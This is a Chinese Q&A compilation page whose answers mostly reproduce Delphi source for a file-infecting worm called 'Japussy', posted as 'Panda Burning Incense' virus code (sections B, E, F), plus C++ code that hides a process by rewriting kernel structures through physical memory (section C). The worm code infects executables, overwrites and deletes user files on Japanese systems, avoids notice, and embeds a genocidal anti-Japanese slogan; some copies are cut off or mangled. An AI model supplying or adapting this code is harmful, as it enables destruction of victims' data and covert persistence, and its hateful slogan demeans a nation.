A. MFC中如何實現printf功能
printf("請輸入一個奇數\n");——————想在界面中輸出這句話！不用彈出另一個對話框
將此句話改為：
CClientDC dc(this);
dc.TextOut(x,y,"請輸入一個奇數");
其x，y代表你需要將這句話放置的位置的客戶區坐標。不懂再問。
B. 熊貓燒香核心代碼，誰來看看
program japussy;
uses
windows, sysutils, classes, graphics, shellapi{, registry};
const
headersize = 82432; //病毒體的大小
iconoffset = $12eb8; //pe文件主圖標的偏移量
//在我的delphi5 sp1上面編譯得到的大小，其它版本的delphi可能不同
//查找2800000020的十六進制字元串可以找到主圖標的偏移量
{
headersize = 38912; //upx壓縮過病毒體的大小
iconoffset = $92bc; //upx壓縮過pe文件主圖標的偏移量
//upx 1.24w 用法: upx -9 --8086 japussy.exe
}
iconsize = $2e8; //pe文件主圖標的大小--744位元組
icontail = iconoffset + iconsize; //pe文件主圖標的尾部
id = $44444444; //感染標記
//垃圾碼，以備寫入
catchword = 'if a race need to be killed out, it must be yamato. ' +
'if a country need to be destroyed, it must be japan! ' +
'*** w32.japussy.worm.a ***';
{$r *.res}
function registerserviceprocess(dwprocessid, dwtype: integer): integer;
stdcall; external 'kernel32.dll'; //函數聲明
var
tmpfile: string;
si: startupinfo;
pi: process_information;
isjap: boolean = false; //日文操作系統標記
{ 判斷是否為win9x }
function iswin9x: boolean;
var
ver: tosversioninfo;
begin
result := false;
ver.dwosversioninfosize := sizeof(tosversioninfo);
if not getversionex(ver) then
exit;
if (ver.dwplatformid = ver_platform_win32_windows) then //win9x
result := true;
end;
{ 在流之間復制 }
procere stream(src: tstream; sstartpos: integer; dst: tstream;
dstartpos: integer; count: integer);
var
scurpos, dcurpos: integer;
begin
scurpos := src.position;
dcurpos := dst.position;
src.seek(sstartpos, 0);
dst.seek(dstartpos, 0);
dst.from(src, count);
src.seek(scurpos, 0);
dst.seek(dcurpos, 0);
end;
{ 將宿主文件從已感染的pe文件中分離出來，以備使用 }
procere extractfile(filename: string);
var
sstream, dstream: tfilestream;
begin
try
sstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
try
dstream := tfilestream.create(filename, fmcreate);
try
sstream.seek(headersize, 0); //跳過頭部的病毒部分
dstream.from(sstream, sstream.size - headersize);
finally
dstream.free;
end;
finally
sstream.free;
end;
except
end;
end;
{ 填充startupinfo結構 }
procere fillstartupinfo(var si: startupinfo; state: word);
begin
si.cb := sizeof(si);
si.lpreserved := nil;
si.lpdesktop := nil;
si.lptitle := nil;
si.dwflags := startf_useshowwindow;
si.wshowwindow := state;
si.cbreserved2 := 0;
si.lpreserved2 := nil;
end;
{ 發帶毒郵件 }
procere sendmail;
begin
//哪位仁兄願意完成之？
end;
{ 感染pe文件 }
procere infectonefile(filename: string);
var
hdrstream, srcstream: tfilestream;
icostream, dststream: tmemorystream;
iid: longint;
aicon: ticon;
infected, ispe: boolean;
i: integer;
buf: array[0..1] of char;
begin
try //出錯則文件正在被使用，退出
if comparetext(filename, 'japussy.exe') = 0 then //是自己則不感染
exit;
infected := false;
ispe := false;
srcstream := tfilestream.create(filename, fmopenread);
try
for i := 0 to $108 do //檢查pe文件頭
begin
srcstream.seek(i, sofrombeginning);
srcstream.read(buf, 2);
if (buf[0] = #80) and (buf[1] = #69) then //pe標記
begin
ispe := true; //是pe文件
break;
end;
end;
srcstream.seek(-4, sofromend); //檢查感染標記
srcstream.read(iid, 4);
if (iid = id) or (srcstream.size < 10240) then //太小的文件不感染
infected := true;
finally
srcstream.free;
end;
if infected or (not ispe) then //如果感染過了或不是pe文件則退出
exit;
icostream := tmemorystream.create;
dststream := tmemorystream.create;
try
aicon := ticon.create;
try
//得到被感染文件的主圖標(744位元組)，存入流
aicon.releasehandle;
aicon.handle := extracticon(hinstance, pchar(filename), 0);
aicon.savetostream(icostream);
finally
aicon.free;
end;
srcstream := tfilestream.create(filename, fmopenread);
//頭文件
hdrstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
try
//寫入病毒體主圖標之前的數據
stream(hdrstream, 0, dststream, 0, iconoffset);
//寫入目前程序的主圖標
stream(icostream, 22, dststream, iconoffset, iconsize);
//寫入病毒體主圖標到病毒體尾部之間的數據
stream(hdrstream, icontail, dststream, icontail, headersize - icontail);
//寫入宿主程序
stream(srcstream, 0, dststream, headersize, srcstream.size);
//寫入已感染的標記
dststream.seek(0, 2);
iid := $44444444;
dststream.write(iid, 4);
finally
hdrstream.free;
end;
finally
srcstream.free;
icostream.free;
dststream.savetofile(filename); //替換宿主文件
dststream.free;
end;
except;
end;
end;
{ 將目標文件寫入垃圾碼後刪除 }
procere smashfile(filename: string);
var
filehandle: integer;
i, size, mass, max, len: integer;
begin
try
setfileattributes(pchar(filename), 0); //去掉只讀屬性
filehandle := fileopen(filename, fmopenwrite); //打開文件
try
size := getfilesize(filehandle, nil); //文件大小
i := 0;
randomize;
max := random(15); //寫入垃圾碼的隨機次數
if max < 5 then
max := 5;
mass := size div max; //每個間隔塊的大小
len := length(catchword);
while i < max do
begin
fileseek(filehandle, i * mass, 0); //定位
//寫入垃圾碼，將文件徹底破壞掉
filewrite(filehandle, catchword, len);
inc(i);
end;
finally
fileclose(filehandle); //關閉文件
end;
deletefile(pchar(filename)); //刪除之
except
end;
end;
{ 獲得可寫的驅動器列表 }
function getdrives: string;
var
disktype: word;
d: char;
str: string;
i: integer;
begin
for i := 0 to 25 do //遍歷26個字母
begin
d := chr(i + 65);
str := d + ':\';
disktype := getdrivetype(pchar(str));
//得到本地磁碟和網路盤
if (disktype = drive_fixed) or (disktype = drive_remote) then
result := result + d;
end;
end;
{ 遍歷目錄，感染和摧毀文件 }
procere loopfiles(path, mask: string);
var
i, count: integer;
fn, ext: string;
subdir: tstrings;
searchrec: tsearchrec;
msg: tmsg;
function isvaliddir(searchrec: tsearchrec): integer;
begin
if (searchrec.attr <> 16) and (searchrec.name <> '.') and
(searchrec.name <> '..') then
result := 0 //不是目錄
else if (searchrec.attr = 16) and (searchrec.name <> '.') and
(searchrec.name <> '..') then
result := 1 //不是根目錄
else result := 2; //是根目錄
end;
begin
if (findfirst(path + mask, faanyfile, searchrec) = 0) then
begin
repeat
peekmessage(msg, 0, 0, 0, pm_remove); //調整消息隊列，避免引起懷疑
if isvaliddir(searchrec) = 0 then
begin
fn := path + searchrec.name;
ext := uppercase(extractfileext(fn));
if (ext = '.exe') or (ext = '.scr') then
begin
infectonefile(fn); //感染可執行文件
end
else if (ext = '.htm') or (ext = '.html') or (ext = '.asp') then
begin
//感染html和asp文件，將base64編碼後的病毒寫入
//感染瀏覽此網頁的所有用戶
//哪位大兄弟願意完成之？
end
else if ext = '.wab' then //outlook地址簿文件
begin
//獲取outlook郵件地址
end
else if ext = '.adc' then //foxmail地址自動完成文件
begin
//獲取foxmail郵件地址
end
else if ext = 'ind' then //foxmail地址簿文件
begin
//獲取foxmail郵件地址
end
else
begin
if isjap then //是倭文操作系統
begin
if (ext = '.doc') or (ext = '.xls') or (ext = '.mdb') or
(ext = '.mp3') or (ext = '.rm') or (ext = '.ra') or
(ext = '.wma') or (ext = '.zip') or (ext = '.rar') or
(ext = '.mpeg') or (ext = '.asf') or (ext = '.jpg') or
(ext = '.jpeg') or (ext = '.gif') or (ext = '.swf') or
(ext = '.pdf') or (ext = '.chm') or (ext = '.avi') then
smashfile(fn); //摧毀文件
end;
end;
end;
//感染或刪除一個文件後睡眠200毫秒，避免cpu佔用率過高引起懷疑
sleep(200);
until (findnext(searchrec) <> 0);
end;
findclose(searchrec);
subdir := tstringlist.create;
if (findfirst(path + '*.*', fadirectory, searchrec) = 0) then
begin
repeat
if isvaliddir(searchrec) = 1 then
subdir.add(searchrec.name);
until (findnext(searchrec) <> 0);
end;
findclose(searchrec);
count := subdir.count - 1;
for i := 0 to count do
loopfiles(path + subdir.strings + '\', mask);
freeandnil(subdir);
end;
{ 遍歷磁碟上所有的文件 }
procere infectfiles;
var
driverlist: string;
i, len: integer;
begin
if getacp = 932 then //日文操作系統
isjap := true; //去死吧！
driverlist := getdrives; //得到可寫的磁碟列表
len := length(driverlist);
while true do //死循環
begin
for i := len downto 1 do //遍歷每個磁碟驅動器
loopfiles(driverlist + ':\', '*.*'); //感染之
sendmail; //發帶毒郵件
sleep(1000 * 60 * 5); //睡眠5分鍾
end;
end;
{ 主程序開始 }
begin
if iswin9x then //是win9x
registerserviceprocess(getcurrentprocessid, 1) //注冊為服務進程
else //winnt
begin
//遠程線程映射到explorer進程
//哪位兄台願意完成之？
end;
//如果是原始病毒體自己
if comparetext(extractfilename(paramstr(0)), 'japussy.exe') = 0 then
infectfiles //感染和發郵件
else //已寄生於宿主程序上了，開始工作
begin
tmpfile := paramstr(0); //創建臨時文件
delete(tmpfile, length(tmpfile) - 4, 4);
tmpfile := tmpfile + #32 + '.exe'; //真正的宿主文件，多一個空格
extractfile(tmpfile); //分離之
fillstartupinfo(si, sw_showdefault);
createprocess(pchar(tmpfile), pchar(tmpfile), nil, nil, true,
0, nil, '.', si, pi); //創建新進程運行之
infectfiles; //感染和發郵件
C. 怎麼隱藏進程
下載HideWindowPlus,可以隱藏.和老闆鍵一樣.注意,要無毒的,網上有些掛馬了.
多特軟體站為上品.
老兄,你的那位老兄一定說錯了.不過按你說的這么干其實也不是不行,只是你得聯系九游讓他們把奇跡的源碼給你,然後你再編譯加入隱藏進程的代碼,否則不可能.
頭文件如下：
class CHideProcss
{
public:
CHideProcss();
BOOL HideProcess();
virtual ~CHideProcss();
private:
BOOL InitNTDLL();
BOOL YHideProcess();
VOID CloseNTDLL();
VOID (HANDLE hSection);
HANDLE OpenPhysicalMemory();
PVOID LinearToPhys(PULONG BaseAddress, PVOID addr);
ULONG GetData(PVOID addr);
BOOL SetData(PVOID addr,ULONG data);
long __stdcall exeception(struct _EXCEPTION_POINTERS *tmp);
};
2。CPP文件如下
// HideProcss.cpp: implementation of the CHideProcss class.
//進程隱藏程序
// 要隱藏時調用HideProcess即可
//////////////////////////////////////////////////////////////////////
＃i nclude "stdafx.h"
＃i nclude "HideProcss.h"
＃i nclude<windows.h>
＃i nclude<Accctrl.h>
＃i nclude<Aclapi.h>
#ifdef _DEBUG
#undef THIS_FILE
static char THIS_FILE[]=__FILE__;
#define new DEBUG_NEW
#endif
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)
typedef LONG NTSTATUS;
typedef struct _IO_STATUS_BLOCK
{
NTSTATUS Status;
ULONG Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
#define OBJ_INHERIT 0x00000002L
#define OBJ_PERMANENT 0x00000010L
#define OBJ_EXCLUSIVE 0x00000020L
#define OBJ_CASE_INSENSITIVE 0x00000040L
#define OBJ_OPENIF 0x00000080L
#define OBJ_OPENLINK 0x00000100L
#define OBJ_KERNEL_HANDLE 0x00000200L
#define OBJ_VALID_ATTRIBUTES 0x000003F2L
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
typedef NTSTATUS (CALLBACK* ZWOPENSECTION)(
OUT PHANDLE SectionHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);
typedef VOID (CALLBACK* RTLINITUNICODESTRING)(
IN OUT PUNICODE_STRING DestinationString,
IN PCWSTR SourceString
);
RTLINITUNICODESTRING RtlInitUnicodeString;
ZWOPENSECTION ZwOpenSection;
HMODULE g_hNtDLL = NULL;
PVOID g_pMapPhysicalMemory = NULL;
HANDLE g_hMPM = NULL;
OSVERSIONINFO g_osvi;
//---------------------------------------------------------------------------
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CHideProcss::CHideProcss()
{
}
CHideProcss::~CHideProcss()
{
}
BOOL CHideProcss::InitNTDLL()
{
g_hNtDLL = LoadLibrary("ntdll.dll");
if (NULL == g_hNtDLL)
return FALSE;
RtlInitUnicodeString = (RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL,
"RtlInitUnicodeString");
ZwOpenSection = (ZWOPENSECTION)GetProcAddress( g_hNtDLL, "ZwOpenSection");
return TRUE;
}
//---------------------------------------------------------------------------
VOID CHideProcss::CloseNTDLL()
{
if(NULL != g_hNtDLL)
FreeLibrary(g_hNtDLL);
g_hNtDLL = NULL;
}
//---------------------------------------------------------------------------
VOID CHideProcss::(HANDLE hSection)
{
PACL pDacl = NULL;
PSECURITY_DESCRIPTOR pSD = NULL;
PACL pNewDacl = NULL;
DWORD dwRes = GetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL,
NULL, &pDacl, NULL, &pSD);
if(ERROR_SUCCESS != dwRes)
{
if(pSD)
LocalFree(pSD);
if(pNewDacl)
LocalFree(pNewDacl);
}
EXPLICIT_ACCESS ea;
RtlZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
ea.grfAccessPermissions = SECTION_MAP_WRITE;
ea.grfAccessMode = GRANT_ACCESS;
ea.grfInheritance= NO_INHERITANCE;
ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
ea.Trustee.ptstrName = "CURRENT_USER";
dwRes = SetEntriesInAcl(1,&ea,pDacl,&pNewDacl);
if(ERROR_SUCCESS != dwRes)
{
if(pSD)
LocalFree(pSD);
if(pNewDacl)
LocalFree(pNewDacl);
}
dwRes = SetSecurityInfo
(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL);
if(ERROR_SUCCESS != dwRes)
{
if(pSD)
LocalFree(pSD);
if(pNewDacl)
LocalFree(pNewDacl);
}
}
//---------------------------------------------------------------------------
HANDLE CHideProcss::OpenPhysicalMemory()
{
NTSTATUS status;
UNICODE_STRING physmemString;
OBJECT_ATTRIBUTES attributes;
ULONG PhyDirectory;
g_osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx (&g_osvi);
if (5 != g_osvi.dwMajorVersion)
return NULL;
switch(g_osvi.dwMinorVersion)
{
case 0:
PhyDirectory = 0x30000;
break; //2k
case 1:
PhyDirectory = 0x39000;
break; //xp
default:
return NULL;
}
RtlInitUnicodeString(&physmemString, L"\\Device\\PhysicalMemory");
attributes.Length = sizeof(OBJECT_ATTRIBUTES);
attributes.RootDirectory = NULL;
attributes.ObjectName = &physmemString;
attributes.Attributes = 0;
attributes.SecurityDescriptor = NULL;
attributes.SecurityQualityOfService = NULL;
status = ZwOpenSection(&g_hMPM, SECTION_MAP_READ|SECTION_MAP_WRITE, &attributes);
if(status == STATUS_ACCESS_DENIED)
{
status = ZwOpenSection(&g_hMPM, READ_CONTROL|WRITE_DAC, &attributes);
(g_hMPM);
CloseHandle(g_hMPM);
status = ZwOpenSection(&g_hMPM, SECTION_MAP_READ|SECTION_MAP_WRITE, &attributes);
}
if(!NT_SUCCESS(status))
return NULL;
g_pMapPhysicalMemory = MapViewOfFile(g_hMPM, FILE_MAP_READ|FILE_MAP_WRITE, 0, PhyDirectory,
0x1000);
if( g_pMapPhysicalMemory == NULL )
return NULL;
return g_hMPM;
}
//---------------------------------------------------------------------------
PVOID CHideProcss::LinearToPhys(PULONG BaseAddress, PVOID addr)
{
ULONG VAddr = (ULONG)addr,PGDE,PTE,PAddr;
PGDE = BaseAddress[VAddr>>22];
if (0 == (PGDE&1))
return 0;
ULONG tmp = PGDE & 0x00000080;
if (0 != tmp)
{
PAddr = (PGDE & 0xFFC00000) + (VAddr & 0x003FFFFF);
}
else
{
PGDE = (ULONG)MapViewOfFile(g_hMPM, 4, 0, PGDE & 0xfffff000, 0x1000);
PTE = ((PULONG)PGDE)[(VAddr&0x003FF000)>>12];
if (0 == (PTE&1))
return 0;
PAddr=(PTE&0xFFFFF000)+(VAddr&0x00000FFF);
UnmapViewOfFile((PVOID)PGDE);
}
return (PVOID)PAddr;
}
//---------------------------------------------------------------------------
ULONG CHideProcss::GetData(PVOID addr)
{
ULONG phys = (ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory, (PVOID)addr);
PULONG tmp = (PULONG)MapViewOfFile(g_hMPM, FILE_MAP_READ|FILE_MAP_WRITE, 0, phys &
0xfffff000, 0x1000);
if (0 == tmp)
return 0;
ULONG ret = tmp[(phys & 0xFFF)>>2];
UnmapViewOfFile(tmp);
return ret;
}
//---------------------------------------------------------------------------
BOOL CHideProcss::SetData(PVOID addr,ULONG data)
{
ULONG phys = (ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory, (PVOID)addr);
PULONG tmp = (PULONG)MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys & 0xfffff000, 0x1000);
if (0 == tmp)
return FALSE;
tmp[(phys & 0xFFF)>>2] = data;
UnmapViewOfFile(tmp);
return TRUE;
}
//---------------------------------------------------------------------------
long __stdcall CHideProcss::exeception(struct _EXCEPTION_POINTERS *tmp)
{
ExitProcess(0);
return 1 ;
}
//---------------------------------------------------------------------------
BOOL CHideProcss::YHideProcess()
{
// SetUnhandledExceptionFilter(exeception);
if (FALSE == InitNTDLL())
return FALSE;
if (0 == OpenPhysicalMemory())
return FALSE;
ULONG thread = GetData((PVOID)0xFFDFF124); //kteb
ULONG process = GetData(PVOID(thread + 0x44)); //kpeb
ULONG fw, bw;
if (0 == g_osvi.dwMinorVersion)
{
fw = GetData(PVOID(process + 0xa0));
bw = GetData(PVOID(process + 0xa4));
}
if (1 == g_osvi.dwMinorVersion)
{
fw = GetData(PVOID(process + 0x88));
bw = GetData(PVOID(process + 0x8c));
}
SetData(PVOID(fw + 4), bw);
SetData(PVOID(bw), fw);
CloseHandle(g_hMPM);
CloseNTDLL();
return TRUE;
}
// 隱藏進程的顯示
BOOL CHideProcss::HideProcess()
{
static BOOL b_hide = false;
if (!b_hide)
{
b_hide = true;
YHideProcess();
return true;
}
return true;
}
其實隱藏程序就行了,它只會在進程中出現,其他地方找不到的.也不會影響星際.前題是你的電腦夠牛.
D. 熊貓燒香病毒
郁悶 『
這樣可不行『『『不是我不想幫你『
而是下載來『你的電腦一般來說就報銷了『『
E. 能發一個完整的病毒源代碼文件我分析一下。直接復制在這里就可以，不要發給我
復制的，希望採納
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒體的大小
IconOffset = $12EB8; //PE文件主圖標的偏移量
//在我的Delphi5 SP1上面編譯得到的大小，其它版本的Delphi可能不同
//查找2800000020的十六進制字元串可以找到主圖標的偏移量
{
HeaderSize = 38912; //Upx壓縮過病毒體的大小
IconOffset = $92BC; //Upx壓縮過PE文件主圖標的偏移量
//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主圖標的大小--744位元組
IconTail = IconOffset + IconSize; //PE文件主圖標的尾部
ID = $44444444; //感染標記
//垃圾碼，以備寫入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; //函數聲明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系統標記
{ 判斷是否為Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之間復制 }
procere CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 將宿主文件從已感染的PE文件中分離出來，以備使用 }
procere ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳過頭部的病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ 填充STARTUPINFO結構 }
procere FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 發帶毒郵件 }
procere SendMail;
begin
//哪位仁兄願意完成之？湯姆感激不盡！
end;
{ 感染PE文件 }
procere InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出錯則文件正在被使用，退出
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己則不感染
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to $108 do //檢查PE文件頭
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE標記
begin
IsPE := True; //是PE文件
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //檢查感染標記
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
Infected := True;
finally
SrcStream.Free;
end;
if Infected or (not IsPE) then //如果感染過了或不是PE文件則退出
Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try
aIcon := TIcon.Create;
try
//得到被感染文件的主圖標(744位元組)，存入流
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
//頭文件
HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
//寫入病毒體主圖標之前的數據
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//寫入目前程序的主圖標
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//寫入病毒體主圖標到病毒體尾部之間的數據
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
//寫入宿主程序
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
//寫入已感染的標記
DstStream.Seek(0, 2);
iID := $44444444;
DstStream.Write(iID, 4);
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName); //替換宿主文件
DstStream.Free;
end;
except;
end;
end;
{ 將目標文件寫入垃圾碼後刪除 }
procere SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //去掉只讀屬性
FileHandle := FileOpen(FileName, fmOpenWrite); //打開文件
try
Size := GetFileSize(FileHandle, nil); //文件大小
i := 0;
Randomize;
Max := Random(15); //寫入垃圾碼的隨機次數
if Max < 5 then
Max := 5;
Mass := Size div Max; //每個間隔塊的大小
Len := Length(Catchword);
while i < Max do
begin
FileSeek(FileHandle, i * Mass, 0); //定位
//寫入垃圾碼，將文件徹底破壞掉
FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
finally
FileClose(FileHandle); //關閉文件
end;
DeleteFile(PChar(FileName)); //刪除之
except
end;
end;
{ 獲得可寫的驅動器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do //遍歷26個字母
begin
D := Chr(i + 65);
Str := D + ':\';
DiskType := GetDriveType(PChar(Str));
//得到本地磁碟和網路盤
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;
{ 遍歷目錄，感染和摧毀文件 }
procere LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 0 //不是目錄
else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 1 //不是根目錄
else Result := 2; //是根目錄
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //調整消息隊列，避免引起懷疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then
begin
InfectOneFile(Fn); //感染可執行文件
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感染HTML和ASP文件，將Base64編碼後的病毒寫入
//感染瀏覽此網頁的所有用戶，這個是我最喜歡的！
//哪位大兄弟願意完成之？湯姆感激不盡！
end
else if Ext = '.WAB' then //Outlook地址簿文件
begin
//獲取Outlook郵件地址
end
else if Ext = '.ADC' then //Foxmail地址自動完成文件
begin
//獲取Foxmail郵件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
begin
//獲取Foxmail郵件地址
end
else
begin
if IsJap then //是倭文操作系統
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
SmashFile(Fn); //摧毀文件
end;
end;
end;
//感染或刪除一個文件後睡眠200毫秒，避免CPU佔用率過高引起懷疑
Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings + '\', Mask);
FreeAndNil(SubDir);
end;
{ 遍歷磁碟上所有的文件 }
procere InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系統
IsJap := True; //去死吧！
DriverList := GetDrives; //得到可寫的磁碟列表
Len := Length(DriverList);
while True do //死循環
begin
for i := Len downto 1 do //遍歷每個磁碟驅動器
LoopFiles(DriverList + ':\', '*.*'); //感染之
SendMail; //發帶毒郵件
Sleep(1000 * 60 * 5); //睡眠5分鍾
end;
end;
{ 主程序開始 }
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注冊為服務進程
else //WinNT
begin
//遠程線程映射到Explorer進程
//哪位兄台願意完成之？湯姆感激不盡！
end;
//如果是原始病毒體自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //感染和發郵件
else //已寄生於宿主程序上了，開始工作
begin
TmpFile := ParamStr(0); //創建臨時文件
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件，多一個空格
ExtractFile(TmpFile); //分離之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //創建新進程運行之
InfectFiles; //感染和發郵件
end;
end
F. 求熊貓燒香病毒下載
它的原版軟體擁有的人很少的，網上也難找。
這倒是有一個它的源代碼（不過大概也不是2006年10月的那個）好像是用Delphi語言的
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒體的大小
IconOffset = $12EB8; //PE文件主圖標的偏移量
//在我的Delphi5 SP1上面編譯得到的大小，其它版本的Delphi可能不同
//查找2800000020的十六進制字元串可以找到主圖標的偏移量
{
HeaderSize = 38912; //Upx壓縮過病毒體的大小
IconOffset = $92BC; //Upx壓縮過PE文件主圖標的偏移量
//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主圖標的大小--744位元組
IconTail = IconOffset + IconSize; //PE文件主圖標的尾部
ID = $44444444; //感染標記
//垃圾碼，以備寫入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; //函數聲明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
